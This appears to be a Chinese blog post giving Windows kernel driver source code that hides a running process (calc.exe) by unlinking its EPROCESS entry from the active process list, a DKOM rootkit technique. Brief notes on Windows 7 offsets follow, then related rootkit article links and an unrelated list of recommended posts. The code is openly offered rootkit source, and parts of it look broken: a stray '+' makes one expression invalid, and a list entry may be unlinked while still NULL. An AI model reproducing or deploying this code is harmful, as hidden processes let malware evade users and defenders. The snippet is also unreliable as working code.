#ifndef CXX_HIDEPROCESS_H
# include "HideProcess.h"
#endif #ifdef _WIN64
#define ActiveProcessLinksOffset_EPROCESS 0x188
#define ImageFileNameOffset_EPROCESS 0x2e0
#else
#define ActiveProcessLinksOffset_EPROCESS 0x088
#define ImageFileNameOffset_EPROCESS 0x174
#endif NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegisterPath)
{ //卸载当前驱动例程
DriverObject->DriverUnload = UnloadDriver;
HideProcess("calc.exe");
return STATUS_SUCCESS;
} VOID UnloadDriver(PDRIVER_OBJECT DriverObject)
{ } VOID HideProcess(char* szProcessName)
{ PLIST_ENTRY ListEntry = NULL;
PEPROCESS EProcess = NULL;
char* szName = NULL;
PEPROCESS TravelEProcess = NULL;
PEPROCESS BadEProcess = NULL;
EProcess = IoGetCurrentProcess(); // System.exe if (szProcessName==NULL)
{
return;
}
if (EProcess==NULL)
{
return;
}
TravelEProcess = EProcess; BadEProcess = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcess+ActiveProcessLinksOffset_EPROCESS+)))-0x188); do
{ if (TravelEProcess!=BadEProcess)
{
szName = (char*)((ULONG_PTR)TravelEProcess+ImageFileNameOffset_EPROCESS); //Next
DbgPrint("%s\r\n",szName); if (strstr(szName,szProcessName)!=NULL)
{
RemoveEntryList(ListEntry); // break;
}
} TravelEProcess = (PEPROCESS)((*(ULONG_PTR*)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS))-ActiveProcessLinksOffset_EPROCESS);
ListEntry = (PLIST_ENTRY)((ULONG_PTR)TravelEProcess+ActiveProcessLinksOffset_EPROCESS);
}while (TravelEProcess!=EProcess);
}

代码

使用断链操作隐藏进程

win7:

0x188 处 _LIST_ENTRY  一个16位的结构体

0x2e0处存储进程名称

winxp同理

HideProcess的更多相关文章

  1. 【windows核心编程】HideProcess

    A Basic Windows DKOM Rootkit Pt 1 https://www.landhb.me/posts/v9eRa/a-basic-windows-dkom-rootkit-pt- ...

  2. 遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

    1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程 ...

  3. zzzz

    using System; using System.Collections.Generic; using System.Diagnostics; using System.Management; u ...

  4. WCF全双工数据传输

    项目结构: 客户端: using System; using System.Collections.Generic; using System.Linq; using System.Text; usi ...

  5. ----------- Rootkit 核心技术之绕过 IopParseDevice() 调用源检测逻辑 ---------------

    ---------------------------------------------------------------- 在上一篇文章中,我们已经看到 IopParseDevice() 如何对 ...

  6. Driver 01 进程隐藏

    大二时候的代码以及笔记,当时暂时记录在QQ上在,现在发出来分享一下. 为了写驱动装一大堆的软件插件啥的,还常常失败. 这里就顺带总结下SDK下载和WinDbg symbol路径设置正确WinDbg却总 ...

  7. ring0 进程隐藏实现

    最近在学习内核编程,记录一下最近的学习笔记. 原理:将当前进程从eprocess结构的链表中删除 无法被! process 0 0 看见 #include "HideProcess.h&qu ...

  8. Win64 驱动内核编程-21.DKOM隐藏和保护进程

    DKOM隐藏和保护进程 主要就是操作链表,以及修改节点内容. DKOM 隐藏进程和保护进程的本质是操作 EPROCESS 结构体,不同的系统用的时候注意查下相关定义,确定下偏移,下面的数据是以win7 ...

随机推荐

  1. jsp的el表达式

    el表达式的英文(Expression Language) 1.访问 javabean,list,map,数组 2.可以进行一些运算 3.获得web开发的常用对象 导入jstl.jar和stander ...

  2. 学会使用JDK API

    api是字典,知识过了一遍之后,剩下的就是实践+百度+api了

  3. 【转载】Spark系列之运行原理和架构

    参考 http://www.cnblogs.com/shishanyuan/p/4721326.html 1. Spark运行架构 1.1 术语定义 lApplication:Spark Applic ...

  4. 【转载】高性能IO设计 & Java NIO & 同步/异步 阻塞/非阻塞 Reactor/Proactor

    开始准备看Java NIO的,这篇文章:http://xly1981.iteye.com/blog/1735862 里面提到了这篇文章 http://xmuzyq.iteye.com/blog/783 ...

  5. android实现系统电话通话过程中自动感应黑屏

    package com.developmenttools.customui.activity; import java.util.HashSet;import java.util.Set; impor ...

  6. hdu 4414 Finding crosses

    题目链接:hdu 4414 其实是一道简单的字符型水题,不涉及任何算法,可比赛时却没能做出来,这几天的状态都差到家了... 题目大意是求有多少个满足条件的十字架,十字架的边不能有分叉路口,所以枚举每个 ...

  7. poj 1144 Network(无向图求割顶数)

    题目链接:poj 1144 题意就是说有 n(标号为 1 ~ n)个网点连接成的一个网络,critical places 表示删去后使得图不连通的顶点,也就是割顶,求图中割顶的个数. 直接上大白书上的 ...

  8. C++——并发编程

    一.高级接口:async()和Future 1.1 async()和Future的第一个用例 假设需要计算两个操作数的总和,而这两个操作数是两个函数的返回值.寻常加法如下: func1() + fun ...

  9. 华为 1.static有什么用途?(请至少说明两种)

    1.static有什么用途?(请至少说明两种) 1)在函数体,一个被声明为静态的变量在这一函数被调用过程中维持其值不变. 2) 在模块内(但在函数体外),一个被声明为静态的变量可以被模块内所用函数访问 ...

  10. MYSQL 编码方式 ------导入 .sql 文件 报编码错误

    在做计量泵上位机时,利用MYSQL存储数据,建表hisruninfo(计量泵历史运行数据表). 表格式为utf8,查过数据库 格式 同样为utf8 导入该hisruninfo.sql文件时,并没有报错 ...